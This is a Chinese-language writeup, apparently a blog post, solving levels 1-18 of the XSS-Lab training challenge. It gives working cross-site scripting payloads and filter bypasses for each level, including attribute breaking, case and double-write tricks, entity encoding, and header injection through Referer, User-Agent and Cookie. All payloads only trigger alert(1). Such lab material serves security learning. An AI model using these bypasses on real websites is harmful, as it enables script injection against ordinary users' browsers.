XSS-Lab Writeup (level 1-18)

2023-05-16 10:55:41 浏览数 (2)

XSS原理简述

XSS 又叫 CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意用户的特殊目的。它与 SQL 注入攻击类似,SQL 注入攻击中以 SQL 语句作为用户输入,从而达到查询 / 修改 / 删除数据的目的,而在 XSS 攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。原理是 WEB 应用程序混淆了用户提交的数据和 JS 脚本的代码边界,导致浏览器把用户的输入当成了 JS 代码来执行。XSS 的攻击对象是浏览器一端的普通用户。

题目在BUUCTF平台上有,也可以自行搭建,建议在建议在谷歌或者Edge做吧,亲身体验用火狐有些payload打不通

level 1

这道题先找注入点,发现可控参数只有name,f12查看源码,name的值被直接拼接在html标签中。直接?name=<script>alert(1)</script>,弹出窗口,xss注入成功。

level 2

看到输入框,我们输入<script>alert(1)</script>后提交,发现没有弹窗,查看源码即可发现,输入的值在属性value里面,这里面的值是不会被执行的,那我们可以构造闭合input标签,即"/><script>alert(1)</script>,提交后即可。

此外,还可以闭合value属性并添加事件属性的方式弹窗,输入

代码语言:javascript复制
" onclick="alert(1)

提交后点击输入框即可弹窗。

level 3
  1. 在输入框中输入<script>alert(1)</script>看看代码将被嵌入到何处,会被怎么处理
  2. 查看源码后可以发现输入的<>被 htmlspecialchars 函数过滤,这里考察绕过html实体编码,这个函数会对尖括号和双引号实体编码,但对单引号无效,而且值得注意的是,这里的value属性是使用单引号闭合的
  3. 查看源码可以看到注入成功,点击输入框即可弹窗
level 4
  1. 照常输入<script>alert(1)</script>,查看源码后发现尖括号被过滤为空,多用几个尖括号也无法绕过
  2. 那么尝试添加事件属性的方法闭合
level 5

和之前一样,输入的值还是在value属性中,这次可以发现script被过滤为scr_ipt,尝试大小写绕过无效

尝试使用第二种办法发现onclick中的on被过滤为o_n,添加事件属性的方法无法使用

两种方法都被过滤了,那我们可以使用herf标签试试,点击图片后即可弹窗

代码语言:javascript复制
"/><a href="javascript:alert(1)"
level 6

和 level 5 一样,script被过滤,但大小写绕过成功bypass

那么直接闭合input标签即可

代码语言:javascript复制
" /><scRipt>alert(1)</scRipt>
level 7

这里将script替换为空,尝试双写绕过,看看是不是回溯过滤

代码语言:javascript复制
<sscriptcript>alert(1)</sscriptcript>

发现经处理后外面一层script成功存活,那么直接构造闭合即可

代码语言:javascript复制
" /><sscriptcript>alert(1)</sscriptcript>//
level 8

可以发现输入的值到了a标签的herf属性中,并且script被过滤,大小写绕过无效

尝试上面介绍的方法后发现都被过滤掉了,观察源码后发现,value中被html实体编码,而href里面没有,那猜想可以用html实体编码后写进去

代码语言:javascript复制
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

点击友情链接即可弹窗

level 9

和 level 8 不同的是多了检查是否为合法链接,通过尝试后可以发现,需要在传入的值中含有http://

那么payload可以为

代码语言:javascript复制
java&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

如果使用双引号会被html实体编码

level 10

这道题的输入框没有给出来,查看代码发现有几个input标签被隐藏了,GET传入参数值,经尝试只有t_sort在源码有显示

代码语言:javascript复制
t_sort=" /><scRipt>alert(1)</scRipt>//

发现尖括号被过滤,input标签无法被闭合,尝试添加事件属性,但input标签被隐藏,不能直接使用事件

accesskey 属性规定激活(使元素获得焦点)元素的快捷键,可以利用这个属性进行激活

代码语言:javascript复制
t_sort=2" accesskey="x" onclick="alert(1)

注意:不同浏览器激活方式不同,设置快捷键的时候尽量不和其他预设快捷键冲突

还可以添加type属性,使得事件属性可以被触发

代码语言:javascript复制
t_sort=" onclick='alert(1)' type="text
level 11

查看源码可以发现t_ref的值是Referer头,而Referer头内容可控

那么存在Referer头XSS注入,利用HackBar或者Burp Suite均可修改

代码语言:javascript复制
Referer: " onclick='alert(1)' type="text
level 12

和 level 11类似,只是t_ua的值是User-Agent头,且内容可控

存在UA头XSS注入

代码语言:javascript复制
User-Agent: " onclick='alert(1)' type="text
level 13

有了前面的经验,我们很容易想到这里存在cookie头XSS注入

将cookie修改值构造xss注入即可

代码语言:javascript复制
Cookie: user=">onmouseover='alert(1)' type="text"
level 14,level15

都没有正常显示作者writeup该有的东西,奇奇怪怪

level 14考察的是利用文件在网页中解析触发payload

level 15考察的是AngularJS的javascript框架漏洞,包含其他页面的xss漏洞对本页面造成影响

level 16

正常进入level 16是有一个GET参数,查看源码也没看到别的注入点,直接尝试一手

可以发现script和/被过滤,那么可以添加一个不含这俩的标签利用事件属性弹窗

代码语言:javascript复制
<img src=1 onerror=alert(1)>

查看源码可以发现空格被转义&nbsp;,可以使用 换行符绕过

代码语言:javascript复制
<img
src=1
onerror=alert(1)>
level 17

查看源码不容易看出参数拼接在代码中的位置,直接修改为

代码语言:javascript复制
?arg01=aaaaa&arg02=bbbbb

可以发现源码中有这样一段

代码语言:javascript复制
<embed src=xsf01.swf?aaaa=bbbb width=100% heigth=100%>

由此可添加事件属性

代码语言:javascript复制
?arg01=a&arg02=b onmouseover=alert(1)

我在火狐中不知道为啥激活不了这个标签,建议在谷歌或者Edge吧

level 18

payload和 level 17 一致

level 19

未完待续,这题有点难

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞